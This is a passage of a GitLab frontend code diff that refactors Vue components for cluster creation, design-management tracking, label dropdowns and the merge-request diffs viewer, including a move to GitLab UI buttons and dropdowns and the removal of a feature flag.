-import LoadingButton from '~/vue_shared/components/loading_button.vue';
const { mapState: mapRolesState, mapActions: mapRolesActions } = createNamespacedHelpers('roles');
const { mapState: mapKeyPairsState, mapActions: mapKeyPairsActions } = createNamespacedHelpers(
@@ -29,7 +36,7 @@ export default {
GlIcon,
GlLink,
GlSprintf,
- LoadingButton,
+ GlButton,
},
props: {
gitlabManagedClusterHelpPath: {
@@ -508,13 +515,16 @@ export default {
</p>
</div>
<div class="form-group">
- <loading-button
- class="js-create-cluster btn-success"
+ <gl-button
+ variant="success"
+ category="primary"
+ class="js-create-cluster"
:disabled="createClusterButtonDisabled"
:loading="isCreatingCluster"
- :label="createClusterButtonLabel"
@click="createCluster()"
- />
+ >
+ {{ createClusterButtonLabel }}
+ </gl-button>
</div>
</form>
</template>
diff --git a/app/assets/javascripts/create_cluster/eks_cluster/store/actions.js b/app/assets/javascripts/create_cluster/eks_cluster/store/actions.js
index f3950a3343a..b182d4dff13 100644
--- a/app/assets/javascripts/create_cluster/eks_cluster/store/actions.js
+++ b/app/assets/javascripts/create_cluster/eks_cluster/store/actions.js
@@ -42,7 +42,13 @@ export const createRole = ({ dispatch, state: { createRolePath } }, payload) =>
dispatch('createRoleSuccess', awsData);
})
- .catch(error => dispatch('createRoleError', { error }));
+ .catch(error => {
+ let message = error;
+ if (error?.response?.data?.message) {
+ message = error.response.data.message;
+ }
+ dispatch('createRoleError', { error: message });
+ });
};
export const requestCreateRole = ({ commit }) => {
diff --git a/app/assets/javascripts/create_cluster/gke_cluster/components/gke_project_id_dropdown.vue b/app/assets/javascripts/create_cluster/gke_cluster/components/gke_project_id_dropdown.vue
index 85d9f0d66ab..522fef423af 100644
--- a/app/assets/javascripts/create_cluster/gke_cluster/components/gke_project_id_dropdown.vue
+++ b/app/assets/javascripts/create_cluster/gke_cluster/components/gke_project_id_dropdown.vue
@@ -179,13 +179,13 @@ export default {
'https://console.cloud.google.com/freetrial?utm_campaign=2018_cpanel&utm_source=gitlab&utm_medium=referral'
"
target="_blank"
- >{{ content }} <gl-icon name="external-link" aria-hidden="true"
+ >{{ content }} <gl-icon name="external-link"
/></gl-link>
</template>
<template #docsLink="{ content }">
<gl-link :href="docsUrl" target="_blank"
- >{{ content }} <gl-icon name="external-link" aria-hidden="true"
+ >{{ content }} <gl-icon name="external-link"
/></gl-link>
</template>
diff --git a/app/assets/javascripts/create_label.js b/app/assets/javascripts/create_label.js
index 9c0ed7f79d4..0d53efe8689 100644
--- a/app/assets/javascripts/create_label.js
+++ b/app/assets/javascripts/create_label.js
@@ -29,11 +29,17 @@ export default class CreateLabelDropdown {
}
cleanBinding() {
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.$colorSuggestions.off('click');
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.$newLabelField.off('keyup change');
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.$newColorField.off('keyup change');
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.$dropdownBack.off('click');
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.$cancelButton.off('click');
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.$newLabelCreateButton.off('click');
}
diff --git a/app/assets/javascripts/cycle_analytics/components/limit_warning_component.vue b/app/assets/javascripts/cycle_analytics/components/limit_warning_component.vue
index b2c9cd4e597..4c44aac4e2a 100644
--- a/app/assets/javascripts/cycle_analytics/components/limit_warning_component.vue
+++ b/app/assets/javascripts/cycle_analytics/components/limit_warning_component.vue
@@ -27,7 +27,6 @@ export default {
),
}"
name="warning"
- aria-hidden="true"
/>
{{ n__('Showing %d event', 'Showing %d events', 50) }}
</span>
diff --git a/app/assets/javascripts/cycle_analytics/cycle_analytics_bundle.js b/app/assets/javascripts/cycle_analytics/cycle_analytics_bundle.js
index 4cccabca28b..70ebe91a3b2 100644
--- a/app/assets/javascripts/cycle_analytics/cycle_analytics_bundle.js
+++ b/app/assets/javascripts/cycle_analytics/cycle_analytics_bundle.js
@@ -74,6 +74,7 @@ export default () => {
const $dropdown = $('.js-ca-dropdown');
const $label = $dropdown.find('.dropdown-label');
+ // eslint-disable-next-line @gitlab/no-global-event-off
$dropdown
.find('li a')
.off('click')
diff --git a/app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown.js b/app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown.js
index c17f2d2efe4..fe57dd2dc8f 100644
--- a/app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown.js
+++ b/app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown.js
@@ -622,6 +622,7 @@ export class GitLabDropdown {
// eslint-disable-next-line class-methods-use-this
removeArrowKeyEvent() {
+ // eslint-disable-next-line @gitlab/no-global-event-off
return $('body').off('keydown');
}
diff --git a/app/assets/javascripts/design_management/pages/design/index.vue b/app/assets/javascripts/design_management/pages/design/index.vue
index e07279ba39d..fb86568c304 100644
--- a/app/assets/javascripts/design_management/pages/design/index.vue
+++ b/app/assets/javascripts/design_management/pages/design/index.vue
@@ -4,6 +4,7 @@ import { GlLoadingIcon, GlAlert } from '@gitlab/ui';
import { ApolloMutation } from 'vue-apollo';
import createFlash from '~/flash';
import { fetchPolicies } from '~/lib/graphql';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import allVersionsMixin from '../../mixins/all_versions';
import Toolbar from '../../components/toolbar/index.vue';
import DesignDestroyer from '../../components/design_destroyer.vue';
@@ -37,7 +38,7 @@ import {
TOGGLE_TODO_ERROR,
designDeletionError,
} from '../../utils/error_messages';
-import { trackDesignDetailView } from '../../utils/tracking';
+import { trackDesignDetailView, usagePingDesignDetailView } from '../../utils/tracking';
import { DESIGNS_ROUTE_NAME } from '../../router/constants';
import { ACTIVE_DISCUSSION_SOURCE_TYPES, DESIGN_DETAIL_LAYOUT_CLASSLIST } from '../../constants';
@@ -55,7 +56,7 @@ export default {
GlAlert,
DesignSidebar,
},
- mixins: [allVersionsMixin],
+ mixins: [allVersionsMixin, glFeatureFlagsMixin()],
props: {
id: {
type: String,
@@ -150,7 +151,7 @@ export default {
},
mounted() {
Mousetrap.bind('esc', this.closeDesign);
- this.trackEvent();
+ this.trackPageViewEvent();
// Set active discussion immediately.
// This will ensure that, if a note is specified in the URL hash,
@@ -274,7 +275,7 @@ export default {
query: this.$route.query,
});
},
- trackEvent() {
+ trackPageViewEvent() {
// TODO: This needs to be made aware of referers, or if it's rendered in a different context than a Issue
trackDesignDetailView(
'issue-design-collection',
@@ -282,6 +283,10 @@ export default {
this.$route.query.version || this.latestVersionId,
this.isLatestVersion,
);
+
+ if (this.glFeatures.usageDataDesignAction) {
+ usagePingDesignDetailView();
+ }
},
updateActiveDiscussion(id, source = ACTIVE_DISCUSSION_SOURCE_TYPES.discussion) {
this.$apollo.mutate({
diff --git a/app/assets/javascripts/design_management/utils/tracking.js b/app/assets/javascripts/design_management/utils/tracking.js
index 4a39268c38b..37296f5b4ff 100644
--- a/app/assets/javascripts/design_management/utils/tracking.js
+++ b/app/assets/javascripts/design_management/utils/tracking.js
@@ -1,24 +1,34 @@
import Tracking from '~/tracking';
+import Api from '~/api';
-// Tracking Constants
+// Snowplow tracking constants
const DESIGN_TRACKING_CONTEXT_SCHEMAS = {
VIEW_DESIGN_SCHEMA: 'iglu:com.gitlab/design_management_context/jsonschema/1-0-0',
};
-const DESIGN_TRACKING_EVENTS = {
+
+export const DESIGN_TRACKING_PAGE_NAME = 'projects:issues:design';
+
+export const DESIGN_SNOWPLOW_EVENT_TYPES = {
VIEW_DESIGN: 'view_design',
CREATE_DESIGN: 'create_design',
UPDATE_DESIGN: 'update_design',
};
-export const DESIGN_TRACKING_PAGE_NAME = 'projects:issues:design';
+export const DESIGN_USAGE_PING_EVENT_TYPES = {
+ DESIGN_ACTION: 'design_action',
+};
+/**
+ * Track "design detail" view in Snowplow
+ */
export function trackDesignDetailView(
referer = '',
owner = '',
designVersion = 1,
latestVersion = false,
) {
- const eventName = DESIGN_TRACKING_EVENTS.VIEW_DESIGN;
+ const eventName = DESIGN_SNOWPLOW_EVENT_TYPES.VIEW_DESIGN;
+
Tracking.event(DESIGN_TRACKING_PAGE_NAME, eventName, {
label: eventName,
context: {
@@ -34,9 +44,16 @@ export function trackDesignDetailView(
}
export function trackDesignCreate() {
- return Tracking.event(DESIGN_TRACKING_PAGE_NAME, DESIGN_TRACKING_EVENTS.CREATE_DESIGN);
+ return Tracking.event(DESIGN_TRACKING_PAGE_NAME, DESIGN_SNOWPLOW_EVENT_TYPES.CREATE_DESIGN);
}
export function trackDesignUpdate() {
- return Tracking.event(DESIGN_TRACKING_PAGE_NAME, DESIGN_TRACKING_EVENTS.UPDATE_DESIGN);
+ return Tracking.event(DESIGN_TRACKING_PAGE_NAME, DESIGN_SNOWPLOW_EVENT_TYPES.UPDATE_DESIGN);
+}
+
+/**
+ * Track "design detail" view via usage ping
+ */
+export function usagePingDesignDetailView() {
+ Api.trackRedisHllUserEvent(DESIGN_USAGE_PING_EVENT_TYPES.DESIGN_ACTION);
}
diff --git a/app/assets/javascripts/diffs/components/app.vue b/app/assets/javascripts/diffs/components/app.vue
index 9d8d184a3f6..7827c78b658 100644
--- a/app/assets/javascripts/diffs/components/app.vue
+++ b/app/assets/javascripts/diffs/components/app.vue
@@ -1,6 +1,7 @@
<script>
import { mapState, mapGetters, mapActions } from 'vuex';
import { GlLoadingIcon, GlPagination, GlSprintf } from '@gitlab/ui';
+import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
import Mousetrap from 'mousetrap';
import { __ } from '~/locale';
import { getParameterByName, parseBoolean } from '~/lib/utils/common_utils';
@@ -9,7 +10,10 @@ import PanelResizer from '~/vue_shared/components/panel_resizer.vue';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { isSingleViewStyle } from '~/helpers/diffs_helper';
import { updateHistory } from '~/lib/utils/url_utility';
-import eventHub from '../../notes/event_hub';
+
+import notesEventHub from '../../notes/event_hub';
+import eventHub from '../event_hub';
+
import CompareVersions from './compare_versions.vue';
import DiffFile from './diff_file.vue';
import NoChanges from './no_changes.vue';
@@ -21,6 +25,7 @@ import MergeConflictWarning from './merge_conflict_warning.vue';
import CollapsedFilesWarning from './collapsed_files_warning.vue';
import { diffsApp } from '../utils/performance';
+import { fileByFile } from '../utils/preferences';
import {
TREE_LIST_WIDTH_STORAGE_KEY,
@@ -33,6 +38,7 @@ import {
ALERT_OVERFLOW_HIDDEN,
ALERT_MERGE_CONFLICT,
ALERT_COLLAPSED_FILES,
+ EVT_VIEW_FILE_BY_FILE,
} from '../constants';
export default {
@@ -113,7 +119,7 @@ export default {
required: false,
default: false,
},
- viewDiffsFileByFile: {
+ fileByFileUserPreference: {
type: Boolean,
required: false,
default: false,
@@ -153,6 +159,7 @@ export default {
'conflictResolutionPath',
'canMerge',
'hasConflicts',
+ 'viewDiffsFileByFile',
]),
...mapGetters('diffs', ['whichCollapsedTypes', 'isParallelView', 'currentDiffIndex']),
...mapGetters(['isNotesFetched', 'getNoteableData']),
@@ -230,9 +237,6 @@ export default {
}
},
diffViewType() {
- if (!this.glFeatures.unifiedDiffLines && (this.needsReload() || this.needsFirstLoad())) {
- this.refetchDiffData();
- }
this.adjustView();
},
shouldShow() {
@@ -256,7 +260,7 @@ export default {
projectPath: this.projectPath,
dismissEndpoint: this.dismissEndpoint,
showSuggestPopover: this.showSuggestPopover,
- viewDiffsFileByFile: this.viewDiffsFileByFile,
+ viewDiffsFileByFile: fileByFile(this.fileByFileUserPreference),
});
if (this.shouldShow) {
@@ -279,9 +283,8 @@ export default {
},
created() {
this.adjustView();
+ this.subscribeToEvents();
- eventHub.$once('fetchDiffData', this.fetchData);
- eventHub.$on('refetchDiffData', this.refetchDiffData);
this.CENTERED_LIMITED_CONTAINER_CLASSES = CENTERED_LIMITED_CONTAINER_CLASSES;
this.unwatchDiscussions = this.$watch(
@@ -301,9 +304,7 @@ export default {
},
beforeDestroy() {
diffsApp.deinstrument();
-
- eventHub.$off('fetchDiffData', this.fetchData);
- eventHub.$off('refetchDiffData', this.refetchDiffData);
+ this.unsubscribeFromEvents();
this.removeEventListeners();
},
methods: {
@@ -319,9 +320,23 @@ export default {
'setHighlightedRow',
'cacheTreeListWidth',
'scrollToFile',
- 'toggleShowTreeList',
+ 'setShowTreeList',
'navigateToDiffFileIndex',
+ 'setFileByFile',
]),
+ subscribeToEvents() {
+ notesEventHub.$once('fetchDiffData', this.fetchData);
+ notesEventHub.$on('refetchDiffData', this.refetchDiffData);
+ eventHub.$on(EVT_VIEW_FILE_BY_FILE, this.fileByFileListener);
+ },
+ unsubscribeFromEvents() {
+ eventHub.$off(EVT_VIEW_FILE_BY_FILE, this.fileByFileListener);
+ notesEventHub.$off('refetchDiffData', this.refetchDiffData);
+ notesEventHub.$off('fetchDiffData', this.fetchData);
+ },
+ fileByFileListener({ setting } = {}) {
+ this.setFileByFile({ fileByFile: setting });
+ },
navigateToDiffFileNumber(number) {
this.navigateToDiffFileIndex(number - 1);
},
@@ -346,7 +361,7 @@ export default {
this.fetchDiffFilesMeta()
.then(({ real_size }) => {
this.diffFilesLength = parseInt(real_size, 10);
- if (toggleTree) this.hideTreeListIfJustOneFile();
+ if (toggleTree) this.setTreeDisplay();
this.startDiffRendering();
})
@@ -356,6 +371,7 @@ export default {
this.fetchDiffFilesBatch()
.then(() => {
+ if (toggleTree) this.setTreeDisplay();
// Guarantee the discussions are assigned after the batch finishes.
// Just watching the length of the discussions or the diff files
// isn't enough, because with split diff loading, neither will
@@ -372,7 +388,7 @@ export default {
}
if (!this.isNotesFetched) {
- eventHub.$emit('fetchNotesData');
+ notesEventHub.$emit('fetchNotesData');
}
},
setDiscussions() {
@@ -425,12 +441,17 @@ export default {
this.scrollToFile(this.diffFiles[targetIndex].file_path);
}
},
- hideTreeListIfJustOneFile() {
+ setTreeDisplay() {
const storedTreeShow = localStorage.getItem(MR_TREE_SHOW_KEY);
+ let showTreeList = true;
- if ((storedTreeShow === null && this.diffFiles.length <= 1) || storedTreeShow === 'false') {
- this.toggleShowTreeList(false);
+ if (storedTreeShow !== null) {
+ showTreeList = parseBoolean(storedTreeShow);
+ } else if (!bp.isDesktop() || (!this.isBatchLoading && this.diffFiles.length <= 1)) {
+ showTreeList = false;
}
+
+ return this.setShowTreeList({ showTreeList, saving: false });
},
},
minTreeWidth: MIN_TREE_WIDTH,
@@ -521,6 +542,7 @@ export default {
<template #total>{{ diffFiles.length }}</template>
</gl-sprintf>
</div>
+ <gl-loading-icon v-else-if="retrievingBatches" size="lg" />
</template>
<no-changes v-else :changes-empty-state-illustration="changesEmptyStateIllustration" />
</div>
diff --git a/app/assets/javascripts/diffs/components/commit_item.vue b/app/assets/javascripts/diffs/components/commit_item.vue
index 1b747fb7f20..a548354f257 100644
--- a/app/assets/javascripts/diffs/components/commit_item.vue
+++ b/app/assets/javascripts/diffs/components/commit_item.vue
@@ -136,7 +136,12 @@ export default {
class="d-inline-flex mb-2"
/>
<gl-button-group class="gl-ml-4 gl-mb-4" data-testid="commit-sha-group">
- <gl-button label class="gl-font-monospace" v-text="commit.short_id" />
+ <gl-button
+ label
+ class="gl-font-monospace"
+ data-testid="commit-sha-short-id"
+ v-text="commit.short_id"
+ />
<clipboard-button
:text="commit.id"
:title="__('Copy commit SHA')"
diff --git a/app/assets/javascripts/diffs/components/compare_dropdown_layout.vue b/app/assets/javascripts/diffs/components/compare_dropdown_layout.vue
index adef5d94624..da34a7ee19b 100644
--- a/app/assets/javascripts/diffs/components/compare_dropdown_layout.vue
+++ b/app/assets/javascripts/diffs/components/compare_dropdown_layout.vue
@@ -1,10 +1,11 @@
<script>
-import { GlIcon } from '@gitlab/ui';
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
import TimeAgo from '~/vue_shared/components/time_ago_tooltip.vue';
export default {
components: {
- GlIcon,
+ GlDropdown,
+ GlDropdownItem,
TimeAgo,
},
props: {
@@ -22,57 +23,35 @@ export default {
</script>
<template>
- <span class="dropdown inline">
- <a
- class="dropdown-menu-toggle btn btn-default w-100"
- data-toggle="dropdown"
- aria-expanded="false"
+ <gl-dropdown :text="selectedVersionName" data-qa-selector="dropdown_content">
+ <gl-dropdown-item
+ v-for="version in versions"
+ :key="version.id"
+ :class="{
+ 'is-active': version.selected,
+ }"
+ :is-check-item="true"
+ :is-checked="version.selected"
+ :href="version.href"
>
- <span> {{ selectedVersionName }} </span>
- <gl-icon :size="12" name="angle-down" class="position-absolute" />
- </a>
- <div class="dropdown-menu dropdown-select dropdown-menu-selectable">
- <div class="dropdown-content" data-qa-selector="dropdown_content">
- <ul>
- <li v-for="version in versions" :key="version.id">
- <a :class="{ 'is-active': version.selected }" :href="version.href">
- <div>
- <strong>
- {{ version.versionName }}
- <template v-if="version.isHead">{{
- s__('DiffsCompareBaseBranch|(HEAD)')
- }}</template>
- <template v-else-if="version.isBase">{{
- s__('DiffsCompareBaseBranch|(base)')
- }}</template>
- </strong>
- </div>
- <div>
- <small class="commit-sha"> {{ version.short_commit_sha }} </small>
- </div>
- <div>
- <small>
- <template v-if="version.commitsText">
- {{ version.commitsText }}
- </template>
- <time-ago
- v-if="version.created_at"
- :time="version.created_at"
- class="js-timeago"
- />
- </small>
- </div>
- </a>
- </li>
- </ul>
+ <div>
+ <strong>
+ {{ version.versionName }}
+ <template v-if="version.isHead">{{ s__('DiffsCompareBaseBranch|(HEAD)') }}</template>
+ <template v-else-if="version.isBase">{{ s__('DiffsCompareBaseBranch|(base)') }}</template>
+ </strong>
</div>
- </div>
- </span>
+ <div>
+ <small class="commit-sha"> {{ version.short_commit_sha }} </small>
+ </div>
+ <div>
+ <small>
+ <template v-if="version.commitsText">
+ {{ version.commitsText }}
+ </template>
+ <time-ago v-if="version.created_at" :time="version.created_at" class="js-timeago" />
+ </small>
+ </div>
+ </gl-dropdown-item>
+ </gl-dropdown>
</template>
-
-<style>
-.dropdown {
- min-width: 0;
- max-height: 170px;
-}
-</style>
diff --git a/app/assets/javascripts/diffs/components/compare_versions.vue b/app/assets/javascripts/diffs/components/compare_versions.vue
index 700d5ec86c8..f3cc359a679 100644
--- a/app/assets/javascripts/diffs/components/compare_versions.vue
+++ b/app/assets/javascripts/diffs/components/compare_versions.vue
@@ -65,11 +65,7 @@ export default {
polyfillSticky(this.$el);
},
methods: {
- ...mapActions('diffs', [
- 'setInlineDiffViewType',
- 'setParallelDiffViewType',
- 'toggleShowTreeList',
- ]),
+ ...mapActions('diffs', ['setInlineDiffViewType', 'setParallelDiffViewType', 'setShowTreeList']),
expandAllFiles() {
eventHub.$emit(EVT_EXPAND_ALL_FILES);
},
@@ -92,7 +88,7 @@ export default {
class="gl-mr-3 js-toggle-tree-list"
:title="toggleFileBrowserTitle"
:selected="showTreeList"
- @click="toggleShowTreeList"
+ @click="setShowTreeList({ showTreeList: !showTreeList })"
/>
<gl-sprintf
v-if="showDropdowns"
diff --git a/app/assets/javascripts/diffs/components/diff_content.vue b/app/assets/javascripts/diffs/components/diff_content.vue
index 401064fb18f..f938ea368d8 100644
--- a/app/assets/javascripts/diffs/components/diff_content.vue
+++ b/app/assets/javascripts/diffs/components/diff_content.vue
@@ -87,7 +87,7 @@ export default {
return this.getUserData;
},
mappedLines() {
- if (this.glFeatures.unifiedDiffLines && this.glFeatures.unifiedDiffComponents) {
+ if (this.glFeatures.unifiedDiffComponents) {
return this.diffLines(this.diffFile, true).map(mapParallel(this)) || [];
}
@@ -95,9 +95,7 @@ export default {
if (this.isInlineView) {
return this.diffFile.highlighted_diff_lines.map(mapInline(this));
}
- return this.glFeatures.unifiedDiffLines
- ? this.diffLines(this.diffFile).map(mapParallel(this))
- : this.diffFile.parallel_diff_lines.map(mapParallel(this)) || [];
+ return this.diffLines(this.diffFile).map(mapParallel(this));
},
},
updated() {
@@ -129,9 +127,7 @@ export default {
<template>
<div class="diff-content">
<div class="diff-viewer">
- <template
- v-if="isTextFile && glFeatures.unifiedDiffLines && glFeatures.unifiedDiffComponents"
- >
+ <template v-if="isTextFile && glFeatures.unifiedDiffComponents">
<diff-view
:diff-file="diffFile"
:diff-lines="mappedLines"
@@ -173,12 +169,16 @@ export default {
:a-mode="diffFile.a_mode"
:b-mode="diffFile.b_mode"
>
- <image-diff-overlay
- slot="image-overlay"
- :discussions="imageDiscussions"
- :file-hash="diffFileHash"
- :can-comment="getNoteableData.current_user.can_create_note && !diffFile.brokenSymlink"
- />
+ <template #image-overlay="{ renderedWidth, renderedHeight }">
+ <image-diff-overlay
+ v-if="renderedWidth"
+ :rendered-width="renderedWidth"
+ :rendered-height="renderedHeight"
+ :discussions="imageDiscussions"
+ :file-hash="diffFileHash"
+ :can-comment="getNoteableData.current_user.can_create_note && !diffFile.brokenSymlink"
+ />
+ </template>
<div v-if="showNotesContainer" class="note-container">
<user-avatar-link
v-if="diffFileCommentForm && author"
diff --git a/app/assets/javascripts/diffs/components/diff_expansion_cell.vue b/app/assets/javascripts/diffs/components/diff_expansion_cell.vue
index 4c49dfb5de9..2401e12e4f6 100644
--- a/app/assets/javascripts/diffs/components/diff_expansion_cell.vue
+++ b/app/assets/javascripts/diffs/components/diff_expansion_cell.vue
@@ -4,7 +4,7 @@ import { GlIcon } from '@gitlab/ui';
import { deprecatedCreateFlash as createFlash } from '~/flash';
import { s__, sprintf } from '~/locale';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-import { UNFOLD_COUNT, INLINE_DIFF_VIEW_TYPE, PARALLEL_DIFF_VIEW_TYPE } from '../constants';
+import { UNFOLD_COUNT, INLINE_DIFF_VIEW_TYPE, INLINE_DIFF_LINES_KEY } from '../constants';
import * as utils from '../store/utils';
const EXPAND_ALL = 0;
@@ -14,7 +14,6 @@ const EXPAND_DOWN = 2;
const lineNumberByViewType = (viewType, diffLine) => {
const numberGetters = {
[INLINE_DIFF_VIEW_TYPE]: line => line?.new_line,
- [PARALLEL_DIFF_VIEW_TYPE]: line => (line?.right || line?.left)?.new_line,
};
const numberGetter = numberGetters[viewType];
return numberGetter && numberGetter(diffLine);
@@ -57,9 +56,6 @@ export default {
},
computed: {
...mapState({
- diffViewType(state) {
- return this.glFeatures.unifiedDiffLines ? INLINE_DIFF_VIEW_TYPE : state.diffs.diffViewType;
- },
diffFiles: state => state.diffs.diffFiles,
}),
canExpandUp() {
@@ -77,16 +73,14 @@ export default {
...mapActions('diffs', ['loadMoreLines']),
getPrevLineNumber(oldLineNumber, newLineNumber) {
const diffFile = utils.findDiffFile(this.diffFiles, this.fileHash);
- const lines = {
- [INLINE_DIFF_VIEW_TYPE]: diffFile.highlighted_diff_lines,
- [PARALLEL_DIFF_VIEW_TYPE]: diffFile.parallel_diff_lines,
- };
- const index = utils.getPreviousLineIndex(this.diffViewType, diffFile, {
+ const index = utils.getPreviousLineIndex(INLINE_DIFF_VIEW_TYPE, diffFile, {
oldLineNumber,
newLineNumber,
});
- return lineNumberByViewType(this.diffViewType, lines[this.diffViewType][index - 2]) || 0;
+ return (
+ lineNumberByViewType(INLINE_DIFF_VIEW_TYPE, diffFile[INLINE_DIFF_LINES_KEY][index - 2]) || 0
+ );
},
callLoadMoreLines(
endpoint,
@@ -113,7 +107,7 @@ export default {
this.isRequesting = true;
const endpoint = this.contextLinesPath;
const { fileHash } = this;
- const view = this.diffViewType;
+ const view = INLINE_DIFF_VIEW_TYPE;
const oldLineNumber = this.line.meta_data.old_pos || 0;
const newLineNumber = this.line.meta_data.new_pos || 0;
const offset = newLineNumber - oldLineNumber;
@@ -232,11 +226,11 @@ export default {
class="gl-mx-2 gl-cursor-pointer js-unfold-down gl-display-inline-block gl-py-4"
@click="handleExpandLines(EXPAND_DOWN)"
>
- <gl-icon :size="12" name="expand-down" aria-hidden="true" />
+ <gl-icon :size="12" name="expand-down" />
<span>{{ $options.i18n.showMore }}</span>
</a>
<a class="gl-mx-2 cursor-pointer js-unfold-all" @click="handleExpandLines()">
- <gl-icon :size="12" name="expand" aria-hidden="true" />
+ <gl-icon :size="12" name="expand" />
<span>{{ $options.i18n.showAll }}</span>
</a>
<a
@@ -244,7 +238,7 @@ export default {
class="gl-mx-2 gl-cursor-pointer js-unfold gl-display-inline-block gl-py-4"
@click="handleExpandLines(EXPAND_UP)"
>
- <gl-icon :size="12" name="expand-up" aria-hidden="true" />
+ <gl-icon :size="12" name="expand-up" />
<span>{{ $options.i18n.showMore }}</span>
</a>
</div>
diff --git a/app/assets/javascripts/diffs/components/diff_file.vue b/app/assets/javascripts/diffs/components/diff_file.vue
index 32191d7e309..ed94cabe124 100644
--- a/app/assets/javascripts/diffs/components/diff_file.vue
+++ b/app/assets/javascripts/diffs/components/diff_file.vue
@@ -10,7 +10,7 @@ import notesEventHub from '../../notes/event_hub';
import DiffFileHeader from './diff_file_header.vue';
import DiffContent from './diff_content.vue';
import { diffViewerErrors } from '~/ide/constants';
-import { collapsedType, isCollapsed } from '../diff_file';
+import { collapsedType, isCollapsed } from '../utils/diff_file';
import {
DIFF_FILE_AUTOMATIC_COLLAPSE,
DIFF_FILE_MANUAL_COLLAPSE,
diff --git a/app/assets/javascripts/diffs/components/diff_file_header.vue b/app/assets/javascripts/diffs/components/diff_file_header.vue
index 0d99a2e8a60..53d1383b82e 100644
--- a/app/assets/javascripts/diffs/components/diff_file_header.vue
+++ b/app/assets/javascripts/diffs/components/diff_file_header.vue
@@ -19,7 +19,7 @@ import { __, s__, sprintf } from '~/locale';
import { diffViewerModes } from '~/ide/constants';
import DiffStats from './diff_stats.vue';
import { scrollToElement } from '~/lib/utils/common_utils';
-import { isCollapsed } from '../diff_file';
+import { isCollapsed } from '../utils/diff_file';
import { DIFF_FILE_HEADER } from '../i18n';
export default {
@@ -221,7 +221,6 @@ export default {
ref="collapseIcon"
:name="collapseIcon"
:size="16"
- aria-hidden="true"
class="diff-toggle-caret gl-mr-2"
@click.stop="handleToggleFile"
/>
diff --git a/app/assets/javascripts/diffs/components/diff_file_row.vue b/app/assets/javascripts/diffs/components/diff_file_row.vue
index 3888eb781fb..6c5d9170c9e 100644
--- a/app/assets/javascripts/diffs/components/diff_file_row.vue
+++ b/app/assets/javascripts/diffs/components/diff_file_row.vue
@@ -41,10 +41,6 @@ export default {
return !this.hideFileStats && this.file.type === 'blob';
},
fileClasses() {
- if (!this.glFeatures.highlightCurrentDiffRow) {
- return '';
- }
-
return this.file.type === 'blob' && !this.viewedFiles[this.file.fileHash]
? 'gl-font-weight-bold'
: '';
diff --git a/app/assets/javascripts/diffs/components/diff_line_note_form.vue b/app/assets/javascripts/diffs/components/diff_line_note_form.vue
index 55f5a736cdf..172a2bdde7d 100644
--- a/app/assets/javascripts/diffs/components/diff_line_note_form.vue
+++ b/app/assets/javascripts/diffs/components/diff_line_note_form.vue
@@ -7,7 +7,7 @@ import noteForm from '../../notes/components/note_form.vue';
import MultilineCommentForm from '../../notes/components/multiline_comment_form.vue';
import autosave from '../../notes/mixins/autosave';
import userAvatarLink from '../../vue_shared/components/user_avatar/user_avatar_link.vue';
-import { DIFF_NOTE_TYPE, PARALLEL_DIFF_VIEW_TYPE } from '../constants';
+import { DIFF_NOTE_TYPE, INLINE_DIFF_LINES_KEY, PARALLEL_DIFF_VIEW_TYPE } from '../constants';
import {
commentLineOptions,
formatLineRange,
@@ -102,13 +102,13 @@ export default {
};
const getDiffLines = () => {
if (this.diffViewType === PARALLEL_DIFF_VIEW_TYPE) {
- return (this.glFeatures.unifiedDiffLines
- ? this.diffLines(this.diffFile)
- : this.diffFile.parallel_diff_lines
- ).reduce(combineSides, []);
+ return this.diffLines(this.diffFile, this.glFeatures.unifiedDiffComponents).reduce(
+ combineSides,
+ [],
+ );
}
- return this.diffFile.highlighted_diff_lines;
+ return this.diffFile[INLINE_DIFF_LINES_KEY];
};
const side = this.line.type === 'new' ? 'right' : 'left';
const lines = getDiffLines();
diff --git a/app/assets/javascripts/diffs/components/diff_row.vue b/app/assets/javascripts/diffs/components/diff_row.vue
index 77a97c67f3b..c0719e2a7d9 100644
--- a/app/assets/javascripts/diffs/components/diff_row.vue
+++ b/app/assets/javascripts/diffs/components/diff_row.vue
@@ -157,10 +157,10 @@ export default {
"
/>
</div>
- <div :class="classNameMapCellLeft" class="diff-td diff-line-num old_line">
+ <div v-if="inline" :class="classNameMapCellLeft" class="diff-td diff-line-num old_line">
<a
- v-if="line.left.old_line"
- :data-linenumber="line.left.old_line"
+ v-if="line.left.new_line"
+ :data-linenumber="line.left.new_line"
:href="line.lineHrefOld"
@click="setHighlightedRow(line.lineCode)"
>
@@ -179,21 +179,14 @@ export default {
</template>
<template v-else>
<div data-testid="leftEmptyCell" class="diff-td diff-line-num old_line empty-cell"></div>
- <div class="diff-td diff-line-num old_line empty-cell"></div>
+ <div v-if="inline" class="diff-td diff-line-num old_line empty-cell"></div>
<div class="diff-td line-coverage left-side empty-cell"></div>
<div class="diff-td line_content with-coverage parallel left-side empty-cell"></div>
</template>
</div>
- <div
- v-if="!inline || (line.right && Boolean(line.right.type))"
- class="diff-grid-right right-side"
- >
+ <div v-if="!inline" class="diff-grid-right right-side">
<template v-if="line.right">
- <div
- :class="classNameMapCellRight"
- data-testid="rightLineNumber"
- class="diff-td diff-line-num new_line"
- >
+ <div :class="classNameMapCellRight" class="diff-td diff-line-num new_line">
<span
v-if="shouldRenderCommentButton"
v-gl-tooltip
@@ -231,15 +224,6 @@ export default {
"
/>
</div>
- <div :class="classNameMapCellRight" class="diff-td diff-line-num new_line">
- <a
- v-if="line.right.new_line"
- :data-linenumber="line.right.new_line"
- :href="line.lineHrefNew"
- @click="setHighlightedRow(line.lineCode)"
- >
- </a>
- </div>
<div
v-gl-tooltip.hover
:title="coverageState.text"
